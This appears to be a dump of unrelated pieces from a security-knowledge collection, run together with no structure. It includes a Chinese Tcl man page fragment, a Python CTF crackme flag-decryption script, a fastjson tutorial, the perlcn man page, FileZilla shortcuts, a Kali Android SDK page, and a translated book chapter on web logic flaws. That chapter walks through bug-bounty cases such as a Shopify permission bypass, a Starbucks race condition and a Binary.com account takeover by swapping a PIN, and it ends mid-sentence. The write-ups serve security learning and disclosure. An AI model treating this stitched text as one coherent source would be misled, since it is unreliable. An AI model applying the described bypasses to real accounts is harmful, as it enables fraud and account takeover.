\fBstring wordend \fIstring charIndex\fR 返回包含 \fIstring \fR的第 \fIcharIndex\fR 个字符的那个字最后的字符后面的那个字符的索引。按 \fBindex\fR 方法的方式指定 \fIcharIndex\fR 。一个字被认为是任何连续范围的 alphanumeric (Unicode 字母或十进制数字)或下划线(Unicode 连接符标点)字符,或除了这些之外的任何单一字符。 .TP \fBstring wordstart \fIstring charIndex\fR 返回包含 \fIstring \fR的第 \fIcharIndex\fR 个字符的那个字的第一个字符的索引。按 \fBindex\fR 方法的方式指定 \fIcharIndex\fR 。一个字被认为是任何连续范围的 alphanumeric (Unicode 字母或十进制数字)或下划线(Unicode 连接符标点)字符,或除了这些之外的任何单一字符。 .VE 8.1 .SH "参见 SEE ALSO" expr(n), list(n) .SH "关键字 KEYWORDS" case conversion, compare, index, match, pattern, string, word, equal, ctype .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/11/15 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
from rc4 import RC4 L = 0x24+8 key = [ord(c) for c in "error: _ptr is not null"] r = RC4(key) s = open("crackme3000", "rb").read() f = s.find("5f6897286932".decode("hex")) d = [ord(c) for c in s[f:f+L]] x = [] for c in d: x.append(c ^ r.next()) e = "No such file or directory" flag = "c" for i in range(1, L): flag += chr(ord(e[i % len(e)]) ^ x[i] ^ ord(flag[-1])) print flag
sec-knowleage
# fastjson --- ## maven 依赖 ```xml <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>x.x.x</version> </dependency> ``` ## Fastjson API ### 定义 Bean Group.java ```java public class Group { private Long id; private String name; private List<User> users = new ArrayList<User>(); } ``` User.java ```java public class User { private Long id; private String name; } ``` ### 初始化 Bean ```java Group group = new Group(); group.setId(0L); group.setName("admin"); User guestUser = new User(); guestUser.setId(2L); guestUser.setName("guest"); User rootUser = new User(); rootUser.setId(3L); rootUser.setName("root"); group.addUser(guestUser); group.addUser(rootUser); ``` ### 序列化 ```java String jsonString = JSON.toJSONString(group); System.out.println(jsonString); ``` ### 反序列化 ```java Group bean = JSON.parseObject(jsonString, Group.class); ``` --- ## Fastjson 注解 ### @JSONField 可以配置在属性(setter、getter)和字段(必须是 public field)上。 ```java @JSONField(name="ID") public int getId() {return id;} // 配置date序列化和反序列使用yyyyMMdd日期格式 @JSONField(format="yyyyMMdd") public Date date1; // 不序列化 @JSONField(serialize=false) public Date date2; // 不反序列化 @JSONField(deserialize=false) public Date date3; // 按ordinal排序 @JSONField(ordinal = 2) private int f1; @JSONField(ordinal = 1) private int f2; ``` ### @JSONType * 自定义序列化:[ObjectSerializer](https://github.com/alibaba/fastjson/wiki/JSONType_serializer) * 子类型处理:[SeeAlso](https://github.com/alibaba/fastjson/wiki/JSONType_seeAlso_cn) JSONType.alphabetic 属性: fastjson 缺省时会使用字母序序列化,如果你是希望按照 java fields/getters 的自然顺序序列化,可以配置 JSONType.alphabetic,使用方法如下: ```java @JSONType(alphabetic = false) public static class B { public int f2; public int f1; public int f0; } ``` --- ## 案例 ```xml <dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.73</version> </dependency> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.12</version> <scope>compile</scope> </dependency> </dependencies> ``` ### Map 转 JSON 字符串 ```java import com.alibaba.fastjson.*; import org.junit.Test; import java.util.*; public class test1 { @Test public void test1() { Map<String, Object> map = new HashMap<String, Object>(); map.put("key1", "One"); map.put("key2", "Two"); String mapJson = JSON.toJSONString(map); System.out.println(mapJson);//输出:{"key1":"One","key2":"Two"} } } ``` ### POJO List 转 JSON 字符串 ```java import com.alibaba.fastjson.*; import org.junit.Test; import java.util.*; public class test6 { @Test public void test6() { Person person1 = new Person(); person1.setName("张三"); person1.setAge(28); person1.setBirthday(new Date()); Person person2 = new Person(); person2.setName("李四"); person2.setAge(25); person2.setBirthday(new Date()); List<Person> persons = new ArrayList<Person>(); persons.add(person1); persons.add(person2); String object = JSON.toJSONString(persons); System.out.println(object); /**输出如下: * [{"age":28,"birthday":1530511546991,"name":"张三"},{"age":25,"birthday":1530511546991,"name":"李四"}] */ } } ``` ```java import javax.xml.crypto.Data; import java.util.Date; public class Person { public String name; public String Sex; public int Age; public Date Birthday; public void setName(String name) { this.name = name; } public void setSex(String Sex) { this.Sex = Sex; } public void setAge(int Age) { this.Age = Age;; } public void setBirthday(Date Birthday) { this.Birthday = Birthday;; } } ``` ### Json 字符串转 JsonObject ```java import com.alibaba.fastjson.*; import org.junit.Test; import java.util.*; public class test2 { @Test public void test2() { String jsonStr = "{\"key1\":\"One\",\"key2\":\"110\"}"; JSONObject jsonObject = JSONObject.parseObject(jsonStr); System.out.println(jsonObject.getString("key1"));//输出one System.out.println(jsonObject.getInteger("key2"));//输出110 System.out.println(jsonObject.getString("key3"));//输出null } } ``` ### JsonObject 转 Json 字符串 ```java import com.alibaba.fastjson.*; import org.junit.Test; import java.util.*; public class test3 { @Test public void test3() { String jsonStr = "{\"key1\":\"One\",\"key2\":\"110\"}"; JSONObject jsonObject = JSONObject.parseObject(jsonStr); System.out.println(jsonObject.getString("key1"));//输出:one System.out.println(jsonObject.getInteger("key2"));//输出:110 System.out.println(jsonObject.getString("key3"));//输出:null String parserJsonStr = JSONObject.toJSONString(jsonObject); System.out.println(parserJsonStr);//输出:{"key1":"One","key2":"110"} } } ``` ### JSONArray 添加 JSONObject ```java import com.alibaba.fastjson.*; import org.junit.Test; import java.util.*; public class test4 { @Test public void test4() { JSONObject jsonObject1 = new JSONObject(); jsonObject1.put("name", "张三"); jsonObject1.put("age", 25); JSONObject jsonObject2 = new JSONObject(); jsonObject2.put("name", "李四"); jsonObject2.put("age", 28); JSONArray jsonArray = new JSONArray(); jsonArray.add(jsonObject1); jsonArray.add(jsonObject2); String jsonArrStr = JSONArray.toJSONString(jsonArray); System.out.println(jsonArrStr);//输出:[{"name":"张三","age":25},{"name":"李四","age":28}] } } ``` ### Json 数组字符串转 JsonArray ```java import com.alibaba.fastjson.*; import org.junit.Test; import java.util.*; public class test5 { @Test public void test5() { String jsonArrStr = "[{\"name\":\"张三\",\"age\":25},{\"name\":\"李四\",\"age\":28}]"; JSONArray jsonArray = JSONArray.parseArray(jsonArrStr); for (Object object : jsonArray) { JSONObject jsonObject = (JSONObject) object; System.out.println(jsonObject.getString("name")); System.out.println(jsonObject.getString("age")); System.out.println("--------------"); } } } ``` ### POJO 转 Json 字符串 ```java import com.alibaba.fastjson.*; import org.junit.Test; import java.util.*; public class test7 { @Test public void test7() { Person person1 = new Person(); person1.setName("张三"); person1.setAge(26); person1.setBirthday(new Date()); /**两种方式都行 * 因为JSONObject继承了JSON*/ String object = JSONObject.toJSONString(person1); /*String object = JSON.toJSONString(person1);*/ System.out.println(object); /**输出如下: * {"age":26,"birthday":1530511790302,"name":"张三"} */ } } ``` ### POJO 转 JsonObject ```java import com.alibaba.fastjson.*; import org.junit.Test; import java.util.*; public class test8 { @Test public void test8() { Person person1 = new Person(); person1.setName("张三"); person1.setAge(28); person1.setBirthday(new Date()); /**方式一*/ String jsonStr = JSONObject.toJSONString(person1); JSONObject jsonObject = JSONObject.parseObject(jsonStr); System.out.println(jsonObject.get("name"));//输出:张三 /**方式二*/ JSONObject jsonObject1 = (JSONObject)JSONObject.toJSON(person1); System.out.println(jsonObject1.get("age"));//输出:28 } } ``` ### POJO List 转 JsonArray ```java import com.alibaba.fastjson.*; import org.junit.Test; import java.util.*; public class test9 { @Test public void test9() { Person person1 = new Person(); person1.setName("张三"); person1.setAge(28); person1.setBirthday(new Date()); Person person2 = new Person(); person2.setName("李四"); person2.setAge(25); person2.setBirthday(new Date()); List<Person> persons = new ArrayList<Person>(); persons.add(person1); persons.add(person2); /**方式1*/ String jsonArrStr = JSONArray.toJSONString(persons); JSONArray jsonArray = JSONArray.parseArray(jsonArrStr); JSONObject jsonObject1 = (JSONObject)jsonArray.get(0); System.out.println(jsonObject1.get("name"));//输出:张三 /**方式2*/ JSONArray jsonArray1 = (JSONArray)JSONArray.toJSON(persons); JSONObject jsonObject2 = (JSONObject)jsonArray1.get(1); System.out.println(jsonObject2.get("name"));//输出:李四 } } ``` ### JsonObject 转 POJO ```java import com.alibaba.fastjson.*; import org.junit.Test; import java.util.*; public class test10 { @Test public void test10() { String content = "{\"PARENT_ID\":1,\"NAME\":\"正式\",\"CODE\":\"101\",\"LEVEL_NUM\":2,\"ID\":2}"; Map map = JSONObject.parseObject(content, Map.class);//json 对象转 map System.out.println(map);//输出:{CODE=101, LEVEL_NUM=2, ID=2, PARENT_ID=1, NAME=国家级正职} } } ``` 将Json 对象 转 Java Bean ```java @Test public void test10_2() { Person person1 = new Person(); person1.setName("张三"); person1.setAge(28); person1.setBirthday(new Date()); String jsonPOJOStr = JSON.toJSONString(person1); Person person = JSONObject.parseObject(jsonPOJOStr, Person.class); System.out.println(person); /** * 输出:Person{age=28, name='张三', birthday=Mon Jul 02 14:27:53 CST 2018} */ } ``` ### JsonArray 转 POJO List ```java import com.alibaba.fastjson.*; import org.junit.Test; import java.util.*; public class test11 { @Test public void test2() { String content = "[{\"PARENT_ID\":1,\"NAME\":\"国家级正职\",\"CODE\":\"101\",\"LEVEL_NUM\":2,\"ID\":2},{\"PARENT_ID\":1,\"NAME\":\"国家级副职\",\"CODE\":\"102\",\"LEVEL_NUM\":2,\"ID\":3}]"; //parseArray(String text, Class<T> clazz):clazz 指定 list 中的元素类型 List<Map> mapList = JSONArray.parseArray(content, Map.class);//json 转 List<Map> System.out.println(mapList); } } ``` 将Json 数组 转 Java List ```java @Test public void test11() { String jsonArrPOJOStr = "[{\"birthday\":1530512954968,\"name\":\"张三\",\"age\":28}," + "{\"birthday\":1530512954968,\"name\":\"李四\",\"age\":25}]"; List<Person> personList = JSONArray.parseArray(jsonArrPOJOStr, Person.class); for (Person person : personList) { System.out.println(person); } /** * 输出: * Person{age=28, name='张三', birthday=Mon Jul 02 14:29:14 CST 2018} * Person{age=25, name='李四', birthday=Mon Jul 02 14:29:14 CST 2018} */ } ``` --- ## Source & Reference - https://dunwu.github.io/javatech/lib/serialized/javalib-json.html - https://blog.csdn.net/wangmx1993328/article/details/80882745
sec-knowleage
.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.13 .\" .\" Standard preamble: .\" ======================================================================== .de Sh \" Subsection heading .br .if t .Sp .ne 5 .PP \fB\\$1\fR .PP .. .de Sp \" Vertical space (when we can't use .PP) .if t .sp .5v .if n .sp .. .de Vb \" Begin verbatim text .ft CW .nf .ne \\$1 .. .de Ve \" End verbatim text .ft R .fi .. .\" Set up some character translations and predefined strings. \*(-- will .\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left .\" double quote, and \*(R" will give a right double quote. | will give a .\" real vertical bar. \*(C+ will give a nicer C++. Capital omega is used to .\" do unbreakable dashes and therefore won't be available. \*(C` and \*(C' .\" expand to `' in nroff, nothing in troff, for use with C<>. .tr \(*W-|\(bv\*(Tr .ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p' .ie n \{\ . ds -- \(*W- . ds PI pi . if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch . if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\" diablo 12 pitch . ds L" "" . ds R" "" . ds C` "" . ds C' "" 'br\} .el\{\ . ds -- \|\(em\| . ds PI \(*p . ds L" `` . ds R" '' 'br\} .\" .\" If the F register is turned on, we'll generate index entries on stderr for .\" titles (.TH), headers (.SH), subsections (.Sh), items (.Ip), and index .\" entries marked with X<> in POD. Of course, you'll have to process the .\" output yourself in some meaningful fashion. .if \nF \{\ . de IX . tm Index:\\$1\t\\n%\t"\\$2" .. . nr % 0 . rr F .\} .\" .\" For nroff, turn off justification. Always turn off hyphenation; it makes .\" way too many mistakes in technical documents. .hy 0 .if n .na .\" .\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2). .\" Fear. Run. Save yourself. No user-serviceable parts. . \" fudge factors for nroff and troff .if n \{\ . ds #H 0 . ds #V .8m . ds #F .3m . ds #[ \f1 . ds #] \fP .\} .if t \{\ . ds #H ((1u-(\\\\n(.fu%2u))*.13m) . ds #V .6m . ds #F 0 . ds #[ \& . ds #] \& .\} . \" simple accents for nroff and troff .if n \{\ . ds ' \& . ds ` \& . ds ^ \& . ds , \& . ds ~ ~ . ds / .\} .if t \{\ . ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u" . ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u' . ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u' . ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u' . ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u' . ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u' .\} . \" troff and (daisy-wheel) nroff accents .ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V' .ds 8 \h'\*(#H'\(*b\h'-\*(#H' .ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#] .ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H' .ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u' .ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#] .ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#] .ds ae a\h'-(\w'a'u*4/10)'e .ds Ae A\h'-(\w'A'u*4/10)'E . \" corrections for vroff .if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u' .if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u' . \" for low resolution devices (crt and lpr) .if \n(.H>23 .if \n(.V>19 \ \{\ . ds : e . ds 8 ss . ds o a . ds d- d\h'-1'\(ga . ds D- D\h'-1'\(hy . ds th \o'bp' . ds Th \o'LP' . ds ae ae . ds Ae AE .\} .rm #[ #] #H #V #F C .\" ======================================================================== .\" .IX Title "PERLCN 1" .TH PERLCN 7 "2003-09-02" "perl v5.8.1" "Perl Programmers Reference Guide" .SH "NAME" perlcn \- 简体中文 Perl 指南 .SH "DESCRIPTION" .IX Header "DESCRIPTION" 欢迎来到 Perl 的天地! .PP 从 5.8.0 版开始, Perl 具备了完善的 Unicode (统一码) 支援, 也连带支援了许多拉丁语系以外的编码方式; \s-1CJK\s0 (中日韩) 便是其中的一部份. Unicode 是国际性的标准, 试图涵盖世界上所有的字符: 西方世界, 东方世界, 以及两者间的一切 (希腊文, 叙利亚文, 亚拉伯文, 希伯来文, 印度文, 印地安文, 等等). 它也容纳了多种作业系统与平台 (如 \s-1PC\s0 及麦金塔). .PP Perl 本身以 Unicode 进行操作. 这表示 Perl 内部的字符串数据可用 Unicode 表示; Perl 的函式与算符 (例如正规表示式比对) 也能对 Unicode 进行操作. 在输入及输出时, 为了处理以 Unicode 之前的编码方式存放的数据, Perl 提供了 Encode 这个模块, 可以让你轻易地读取及写入旧有的编码数据. .PP Encode 延伸模块支援下列简体中文的编码方式 ('gb2312' 表示 'euc\-cn'): .PP .Vb 6 \& euc-cn Unix 延伸字符集, 也就是俗称的国标码 \& gb2312-raw 未经处理的 (低比特) GB2312 字符表 \& gb12345 未经处理的中国用繁体中文编码 \& iso-ir-165 GB2312 + GB6345 + GB8565 + 新增字符 \& cp936 字码页 936, 也可以用 'GBK' (扩充国标码) 指明 \& hz 7 比特逸出式 GB2312 编码 .Ve .PP 举例来说, 将 EUC-CN 编码的档案转成 Unicode, 祗需键入下列指令: .PP .Vb 1 \& perl -Mencoding=euc-cn,STDOUT,utf8 -pe1 < file.euc-cn > file.utf8 .Ve .PP Perl 也内附了 \*(L"piconv\*(R", 一支完全以 Perl 写成的字符转换工具程序, 用法如下: .PP .Vb 2 \& piconv -f euc-cn -t utf8 < file.euc-cn > file.utf8 \& piconv -f utf8 -t euc-cn < file.utf8 > file.euc-cn .Ve .PP 另外, 利用 encoding 模块, 你可以轻易写出以字符为单位的程序码, 如下所示: .PP .Vb 7 \& #!/usr/bin/env perl \& # 启动 euc-cn 字串解析; 标准输出入及标准错误都设为 euc-cn 编码 \& use encoding 'euc-cn', STDIN => 'euc-cn', STDOUT => 'euc-cn'; \& print length("骆驼"); # 2 (双引号表示字符) \& print length('骆驼'); # 4 (单引号表示字节) \& print index("谆谆教诲", "蛔唤"); # -1 (不包含此子字符串) \& print index('谆谆教诲', '蛔唤'); # 1 (从第二个字节开始) .Ve .PP 在最后一列例子里, \*(L"谆\*(R" 的第二个字节与 \*(L"谆\*(R" 的第一个字节结合成 EUC-CN 码的 \*(L"蛔\*(R"; \*(L"谆\*(R" 的第二个字节则与 \*(L"教\*(R" 的第一个字节结合成 \*(L"唤\*(R". 这解决了以前 EUC-CN 码比对处理上常见的问题. .Sh "额外的中文编码" .IX Subsection "额外的中文编码" 如果需要更多的中文编码, 可以从 \s-1CPAN\s0 (<http://www.cpan.org/>) 下载 Encode::HanExtra 模块. 它目前提供下列编码方式: .PP .Vb 1 \& gb18030 扩充过的国标码, 包含繁体中文 .Ve .PP 另外, Encode::HanConvert 模块则提供了简繁转换用的两种编码: .PP .Vb 2 \& big5-simp Big5 繁体中文与 Unicode 简体中文互转 \& gbk-trad GBK 简体中文与 Unicode 繁体中文互转 .Ve .PP 若想在 \s-1GBK\s0 与 Big5 之间互转, 请参考该模块内附的 b2g.pl 与 g2b.pl 两支程序, 或在程序内使用下列写法: .PP .Vb 3 \& use Encode::HanConvert; \& $euc_cn = big5_to_gb($big5); # 从 Big5 转为 GBK \& $big5 = gb_to_big5($euc_cn); # 从 GBK 转为 Big5 .Ve .Sh "进一步的信息" .IX Subsection "进一步的信息" 请参考 Perl 内附的大量说明文件 (不幸全是用英文写的), 来学习更多关于 Perl 的知识, 以及 Unicode 的使用方式. 不过, 外部的资源相当丰富: .Sh "提供 Perl 资源的网址" .IX Subsection "提供 Perl 资源的网址" .IP "<http://www.perl.com/>" 4 .IX Item "<http://www.perl.com/>" Perl 的首页 (由欧莱礼公司维护) .IP "<http://www.cpan.org/>" 4 .IX Item "<http://www.cpan.org/>" Perl 综合典藏网 (Comprehensive Perl Archive Network) .IP "<http://lists.perl.org/>" 4 .IX Item "<http://lists.perl.org/>" Perl 邮递论坛一览 .Sh "学习 Perl 的网址" .IX Subsection "学习 Perl 的网址" .IP "<http://www.oreilly.com.cn/html/perl.html>" 4 .IX Item "<http://www.oreilly.com.cn/html/perl.html>" 简体中文版的欧莱礼 Perl 书藉 .Sh "Perl 使用者集会" .IX Subsection "Perl 使用者集会" .IP "<http://www.pm.org/groups/asia.shtml#China>" 4 .IX Item "<http://www.pm.org/groups/asia.shtml#China>" 中国 Perl 推广组一览 .Sh "Unicode 相关网址" .IX Subsection "Unicode 相关网址" .IP "<http://www.unicode.org/>" 4 .IX Item "<http://www.unicode.org/>" Unicode 学术学会 (Unicode 标准的制定者) .IP "<http://www.cl.cam.ac.uk/%7Emgk25/unicode.html>" 4 .IX Item "<http://www.cl.cam.ac.uk/%7Emgk25/unicode.html>" Unix/Linux 上的 \s-1UTF\-8\s0 及 Unicode 答客问 .SH "SEE ALSO" .IX Header "SEE ALSO" Encode, Encode::CN, encoding, perluniintro, perlunicode .SH "AUTHORS" .IX Header "AUTHORS" Jarkko Hietaniemi <jhi@iki.fi> .PP Autrijus Tang (唐宗汉) <autrijus@autrijus.org>
sec-knowleage
--- title: FileZilla date: 2022-11-23 16:23:31.705296 background: bg-[#a42115] label: tags: - - categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 30 keyboard shortcuts found on the FileZilla program --- Keyboard Shortcuts {.cols-2} ------------------ ### General Shortcuts I Shortcut | Action ---|--- `F2` | Rename selected file `F3` | Search remote files `F5` | Refreshes local and remote file and folder views `Tab` | Switches to the next view `Alt` `Down` | Transfers the currently selected item to an item of the same name in the other pane `Alt` `Up` | Navigates up one line in a tree view, navigates to parent folder in file view `Ctrl` `B` | Add bookmark `Ctrl` `Shift` `B` | Manage bookmarks `Ctrl` `C` | Stops the current operation `Ctrl` `D` | Disconnects from server `Ctrl` `E` | Show files currently being edited `Ctrl` `I` | Directory listing filters... `Ctrl` `M` | Manual transfer `Ctrl` `Shift` `N` | Create a new directory `Ctrl` `O` | Enable directory comparison {.shortcuts} ### General Shortcuts II Shortcut | Action ---|--- `Ctrl` `P` | Process queue `Ctrl` `Q` | Exit `Ctrl` `R` | Reconnects to server `Ctrl` `S` | Opens the site manager `Ctrl` `T` | Opens a new tab `Ctrl` `U` | Preserve the timestamps of transferred files `Ctrl` `Y` | Toggle synchronized browsing `Ctrl` `W` | Close tab `Enter` | Transfer the currently selected item if it is a file, or expands if it is a directory `Ctrl` `PgUp` | Switches to the next tab `Ctrl` `PgDn` | Switches to the previous tab `Up` | Moves up one item in the current view `Down` | Moves down one item in the current view `Left` | Nothing in a files view, up on level in a tree view `Right` | Down one level in a tree view if there are subfolders, nothing if there are none {.shortcuts} Also see -------- - [Keyboard shortcuts for FileZilla](https://wiki.filezilla-project.org/Keyboard_shortcuts) _(wiki.filezilla-project.org)_
sec-knowleage
--- title: Android SDK categories: Hardware Hacking tags: [Android SDK,Hardware Hacking,kali linux] date: 2019-06-25 11:13:00 --- 0x00 Android SDK介绍 ------------- Android SDK提供了开发,测试和调试Android应用所需的API库和开发者工具。 [Android SDK主页](http://developer.android.com/index.html) | [Kali上的Android SDK库](http://git.kali.org/gitweb/?p=packages/android-sdk.git;a=summary) - 作者: Google - 证书: 其他(Other) 0x01 用法示例 ---------------- `root@kali:~# android` [![android](http://tools.kali.org/wp-content/uploads/2014/02/android.png)](http://tools.kali.org/wp-content/uploads/2014/02/android.png)
sec-knowleage
# 九、应用逻辑漏洞 > 作者:Peter Yaworski > 译者:[飞龙](https://github.com/) > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) 应用逻辑漏洞不同于其他我们讨论过的类型。虽然 HTML 注入、HTML 参数污染和 XSS 都涉及到提交一些类型的潜在恶意输入,应用落地及漏洞实际上涉及到操纵场景和利用 Web APP 代码中的 Bug。 这一类型攻击的一个值得注意的例子是 Egor Homakov 对 Github 的渗透,Github 使用 RoR 编写。如果你不熟悉 Rails,他是一个非常流行的 Web 框架,在开发 Web 站点时,它可以处理很多繁杂的东西。 在 2012 年 3 月,Egor 通知了 Rails 社区,通常,Rails 会接受所有提交给它的参数,并使用这些值来更新数据库记录(取决于开发者的实现。Rails 核心开发者的想法是,使用 Rails 的 Web 开发者应该负责填补它们的安全间隙,并定义那个值能够由用户提交来更新记录。这个行为已经在社区内人人皆知了,但是 Github 上的线程展示了很少的人能够鉴别出来它带来的风险(`https://github.com/rails/rails/issues/5228`)。 当核心开发者不同意他的时候,Egor 继续利用 Github 上的认证漏洞,通过猜测和提交参数值,它包含创建日期(如果你熟悉 Rails 并且知道多数数据库记录包含创建和更新日期列,它就不太困难)。因此,它在 Github 上传了一个票据,年份是未来的某个日期。它也设法更新 SHH 访问密钥,这可以使他访问 Github 官方的代码仓库。 之前提到了,这个渗透通过 Github 后端代码实现,它并没有合理验证 Egor 所做的事情,这在随后可用于更新数据库记录。这里,Egor 发现了叫做大量赋值漏洞的东西。 应用逻辑漏洞,即发现前面讨论的这种类型的攻击,更加有技巧性,因为它们依赖代码判定的创造性思维,并且并不仅仅是提交潜在的恶意代码,开发者没有转义它。(不要尝试在这里简化其它类型的漏洞,一些 XSS 攻击也很复杂!) 使用 Github 的例子,Egor 知道了系统基于 Rails 以及 Rails 如何处理用户输入。在其他例子中,它涉及直接编程调用 API 来测试应用的行为,就像 Shopify 的管理员权限绕过那样。或者,它涉及重复使用来自认证 API 调用的返回值,来进行后续的API 调用,本不应该允许你这么做。 ## 示例 ### 1\. Shopify 管理员权限绕过 难度:低 URL:`shop.myshopify.com/admin/mobile_devices.json ` 报告链接:`https://hackerone.com/reports/100938` 报告日期:2015.11.22 奖金:$500 描述: Shopify 是一个巨大并健壮的平台,它包含 Web UI 以及受支持的 API。这个例子中,API 不验证一些权限,而 Web UI 明显会这么做。因此,商店的管理员,它们不被允许接受邮件提醒,可以通过操作 API 终端来绕过这个安全设置,在它们的 Apple 设备中收到提醒。 根据报告,黑客只需要: + 使用完全访问权限的账号登录 Shopify 移动应用 + 拦截`POST /admin/mobile_devices.json`的请求 + 移除该账号的所有权限 + 移除添加的移动端提醒 + 重放`POST /admin/mobile_devices.json`的请求 这样做之后,用户可以接收到所有商店处的订单的移动端提醒,因此忽略了商店配置的安全设置。 > 重要结论 > 这里有两个重要结论。首先,并不是所有东西都涉及代码注入。始终记住使用代码并观察向站点传递了什么信息,并玩玩它看看什么会发生。这里,所有发生的事情是,移除 POST 参数来绕过安全检查。其次,再说一遍,不是所有攻击都基于 HTML 页面。API 终端始终是一个潜在的漏洞区域,所以确保你考虑并测试了它们。 ### 2\. 星巴克竞态条件 难度:中 URL:`Starbucks.com ` 报告链接:`http://sakurity.com/blog/2015/05/21/starbucks.html` 报告日期:2015.5.21 奖金:无 描述: 如果你不熟悉竞态条件,本质上它是两个潜在的进程彼此竞争来完成任务,基于一个厨师场景,它在请求被执行期间变得无效。换句话说,这是一个场景,其中你拥有两个进程,它们本应该是互斥的,不应该同时完成,但是因为它们几乎同时执行,它们被允许这么做了。 这里是一个例子: 1. 你在手机上登录进了你的银行站点,并请求将 $500 从你的一个仅仅拥有 $500 的账户转到另一个账户。 2. 这个请求花费很长时间(但是仍然处理),所以你在你的笔记本上登录,并且再次执行了相同请求。 3. 笔记本的请求几乎立即完成了,但是你的手机也是这样。 4. 你刷新了银行账户,并发现你的账户里有 $1000。这意味着请求执行了两次,这本不应被允许,因为你一开始只拥有 $500。 虽然这个很基础,理念都是一样的,一些条件存在于请求开始,在完成时,并不存在了。 所以,回到这个例子,Egor 测试了从一个星巴克的卡中转账,并且发现他成功触发了竞态条件。请求使用 CURL 程序几乎同时创建。 > 重要结论 > 竞态条件 是个有趣的攻击向量,它有时存在于应用处理一些类型的余额的地方,例如金额、积分,以及其他。发现这些漏洞并不总是发生在第一次尝试的时候,并且可能需要执行多次重复同时的请求。这里,Egor 在成功之前执行了 6 次请求。但是要记住在测试它的时候,要注意流量负荷,避免使用连续的测试请求危害到站点。 ### 3\. Binary.com 权限提升 难度:低 URL:`binary.com` 报告链接:`https://hackerone.com/reports/98247` 报告日期:2015.11.14 奖金:$300 描述: 这真是一个直接的漏洞,不需要过多解析。 本质上,在这个场景下,用户能够登录任何账户,代表被黑的用户账户,并查看敏感信息,或执行操作,并且一切只需要知道用户的 UID。 在你渗透之前,如果你登录了` Binary.com/cashier`,并查看了页面的 HTML,你会注意到有个`<iframe>`标签包含 PIN 参数。这个参数实际上就是你的账户 ID。 下面,如果你编辑了 HTML,并且插入了另一个 PIN,站点就会自动在新账户上执行操作,而不验证密码或者任何其他凭据。换句话说,站点会将你看做你所提供的账户的拥有者。 同样,所需的一切就是知道某人的账户号码。你甚至可以在出现在`iframe`中的时间修改为`PAYOUT`,来触发另一个账户的付款操作。但是,`Bianry.com`表示,所有取款都需要手动人工复查,但是这并不是说,这就一定会被发现。 > 重要结论 > 如果你寻找基于漏洞的认证,要留意凭据传递给站点的地方。虽然这个漏洞通过查看页面源码来实现,你也可以在使用代理拦截器的时候,留意传递的信息。 > 如果你的确发现了被传递的一些类型的凭据,但他们看起来没有加密时,要注意了,并且尝试玩玩它们。这里,PIN 是`CRXXXXXX`而密码是`0e552ae717a1d08cb134f132`。显然 PIN 没有解密,但是密码加密了。未加密的值是一个非常好的地方,你可以从这里下手。 ### 4\. HackerOne 信号操作 难度:低 URL:`hackerone.com/reports/XXXXX` 报告链接:`https://hackerone.com/reports/106305` 报告日期:2015.12.21 奖金:$500 描述: 在 2015 年年末,HackerOne 向站点进入了新的功能,叫做信号。本质上,在这些报告关闭之后,它有助于识别黑客的之前漏洞报告的有效性。重要的是要注意,用户可以关闭它们在 HackerOne 上的报告,这本应该对他们的声誉和信号功能毫无影响。 所以,你可以猜到,在测试该功能的时候,一个黑客发现了这个功能的不合理实现,并且允许黑客向任何团队创建报告,自己关闭报告,并从中受益。 这就是这里的情况了。 > 重要结论 通过一个简短的描述,这里的结论不可能全部覆盖。一定要留意新的功能!当站点实现了新的功能时,它对于黑客就像鲜肉一样。新的功能展示了测试新代码和搜索漏洞的机会。这就和 Shopify 和 Twitter 的 CSRF,以及 Facebook 的 XSS 漏洞一样。为了最大利用它们,使你自己熟悉公司,并且订阅公司的博客是个好主意,以便你在一些东西发布之后能够收到提醒。之后测试它们。 ### 5\. Shopify S3 Bucket 开放 难度:中 URL:` cdn.shopify.com/assets ` 报告链接:`https://hackerone.com/reports/106305` 报告日期:2015.11.9 奖金:$1000 描述: Amazon 简易存储 S3,是一个服务,允许用户在 Amazon 的云服务器上储存和托管文件。Shopify 和许多站点都是用 S3 来储存和托管静态内容,例如图片。 Amazon Web 服务的整个套件,AWS,是非常健壮的,并包含权限管理系统,允许管理员为每个服务定义权限,包含 S3。许可包含创建 S3 Bucket 